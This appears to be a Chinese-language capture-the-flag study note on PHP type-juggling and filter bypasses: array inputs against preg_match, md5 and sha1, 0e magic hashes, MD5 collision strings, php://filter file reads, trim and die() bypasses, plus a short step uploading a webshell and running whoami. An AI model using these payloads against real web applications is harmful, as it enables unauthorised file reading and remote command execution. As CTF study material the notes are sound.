PHP特性总结
数组绕过正则表达式
1 | if(preg_match("/[0-9]/", $num)){ |
preg_match("/[0-9]/", $num)
- 作用:检查
$num是否包含 数字 0-9 - 如果包含,就
die("no no no!");终止程序 - 如果不包含,执行
elseif (intval($num))
intval($num)
- 作用:尝试将
$num转换为整数 - 如果转换结果为真(非 0),就输出
$flag - 如果转换结果为 0,则不输出
$flag
preg_match第二个参数要求是字符串,如果传入数组则不会进入if语句
1 | payload: num[]=1 |
[!IMPORTANT]
num[]=1绕过原理分析
- 绕过
preg_match()当你传递
num[]=1作为参数时,$num变成了一个包含单个元素的数组:array(1)。
preg_match("/[0-9]/", $num)试图在数组中查找数字,然而preg_match()只接受字符串类型作为参数,因此它会触发一个警告并返回false。由于警告不会阻止代码继续执行,preg_match()不会成功匹配数字,导致代码继续进入elseif分支。
- 触发
intval($num)对于
intval($num),如果$num是一个 非空数组(比如array(1)),PHP 会将其转化为1,因此条件intval($num)会成立,进入elseif分支并触发echo $flag。
intval函数的使用
1 | if($num==="4476"){ |
intval( mixed $value, int $base = 10) : int
- 当
base参数的值为0时,intval()会根据输入字符串的 前缀 自动推断进制 - 如果字符串以
0x或0X开头,则该字符串会被视为 十六进制 数字 - 如果字符串以
0开头,则该字符串会被视为 八进制 数字 - 其他情况,则会将该字符串视为 十进制 数字
用科学计数法绕过
1 | intval('4476.0')===4476 小数点 |
1 | payload: num=4476.0 |
正则表达式修饰符
1 | if(preg_match('/^php$/im', $a)){ |
i(不区分大小写):意味着 php、PHP、PhP 都能匹配。
m(多行模式):
^代表 每一行 的开头,而不是整个字符串的开头。$代表 每一行 的结尾,而不是整个字符串的结尾。
如果 $a 满足第一个条件 /^php$/im(不区分大小写且支持多行匹配),就进入内部的判断。
- 如果
$a仅等于"php"(不区分大小写),则输出"hacker"。 - 如果
$a满足第一个正则表达式,但不完全等于"php",则输出$flag。
如果 $a 没有匹配第一个条件 /^php$/im,则输出 "nonononono"。
1 | payload: %0aphp 或 php%0aphp |
highlight_file路径
1 | if($_GET['u']=='flag.php'){ |
if语句只比对字符串,highlight_file可以写路径,故payload有多种解法:
1 | ?u=php://filter/read=convert.base64-encode/resource=flag.php php伪协议 |
md5比较缺陷
1 | if ($_POST['a'] != $_POST['b']) { |
我们需要找到两个 不相等的值,但它们的 md5() 计算结果相同,即 MD5 碰撞
md5弱比较
不同数据强相等(===)
未使用强制类型转化
MD5无法处理数组,如果传入数组则返回NULL,两个NULL是强相等的
1 | payload: a[]=1&b[]=2 |
不同数据弱相等(==)
1 | payload: a=QNKCDZO&b=240610708 |
科学记数法绕过
0e 开头的字符串会被 PHP 识别为 科学记数法,并转换为数字 0,只需找两个md5后都为0e开头且0e
后面均为数字的值即可
1 | payload:a=0e215962017&b=0e0 |
md5强碰撞
1 | $a = (string)$a; |
这里的条件要求 $a 和 $b 必须 不相等,但它们的 MD5 哈希值相同
1 | a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 |
sha1比较缺陷
1 | if($a==$b){ |
sha1无法处理数组,如上可使用a[]=1&b[]=1数组绕过
如果强制类型转换,则不接受数组,找真正的编码后相同的
1 | aaroZmOk |
三目运算符的理解+变量覆盖
1 | $_GET?$_GET=&$_POST:'flag'; |
1 | $_GET ? $_GET = &$_POST : 'flag'; |
果 $_GET 数组不为空,则将 $_GET 的引用赋值给 $_POST即$_GET 和 $_POST 会指向相同的数据
1 | $_GET['flag'] == 'flag' ? $_GET = &$_COOKIE : 'flag'; |
如果 $_GET['flag'] 的值为 'flag',则将 $_GET 数组的引用赋值给 $_COOKIE即$_GET 和 $_COOKIE 将指向相同的数据
1 | $_GET['flag'] == 'flag' ? $_GET = &$_SERVER : 'flag'; |
如果 $_GET['flag'] 的值为 'flag',则将 $_GET 数组的引用赋值给 $_SERVER。这使得 $_GET 和 $_SERVER 指向相同的数据
1 | highlight_file($_GET['HTTP_FLAG'] == 'flag' ? $flag : __FILE__); |
该行会高亮显示文件内容,条件是 $_GET['HTTP_FLAG'] 等于 'flag'。如果条件为真,它会显示 $flag 变量的内容;否则,它会显示当前脚本文件的内容
1 | payload: |
php弱类型比较
1 | $allow = array(); |
1 | payload: |
如:
假设我们找到了合法的 $_GET['n']=123,我们可以上传 Webshell:
1 | POST /vuln.php?n=123 HTTP/1.1 |
然后访问:
1 | http://target.com/123?cmd=whoami |
and与&&的区别
1 | $a = false && true; |
false && true 先计算 false && true(结果是 false),然后赋值给 $a。
false and true 先执行 $b = false,然后 true 没有影响。
PHP双$)的变量覆盖
在双写$的时候,属于动态变量,就是后面的变量值作为新的变量名
1 | $test="a23"; $test等于a23 |
parse_str函数的使用
parse_str会把字符串解析为变量,大部分是传入的多个值
1 | $a="q=123&p=456"; |
trim函数的绕过+is_numeric绕过
trim() 函数用于去除字符串两端的空白字符(包括空格、制表符、换行符等)
trim默认时没有剔除%0c(换页符)
1 | if(is_numeric($num) and $num!=='36' and trim($num)!=='36'){ |
1 | payload: num=%0c36 |
绕过死亡die
1 | function filter($x){ |
1 | payload: |
这会将字符两位两位交换,file_put_contents在写入的时候会破坏那句die,但contents那句恢复原貌,
可以执行
gettext拓展的使用
1 | var_dump(call_user_func($f1,$f2)); |
如以上代码,多重过滤后,f1可以为 gettext ,f2可以为 phpinfo ,如果过滤更为严格,更改ini文件里
的拓展后, _() 等效于 gettext()
1 | <?php |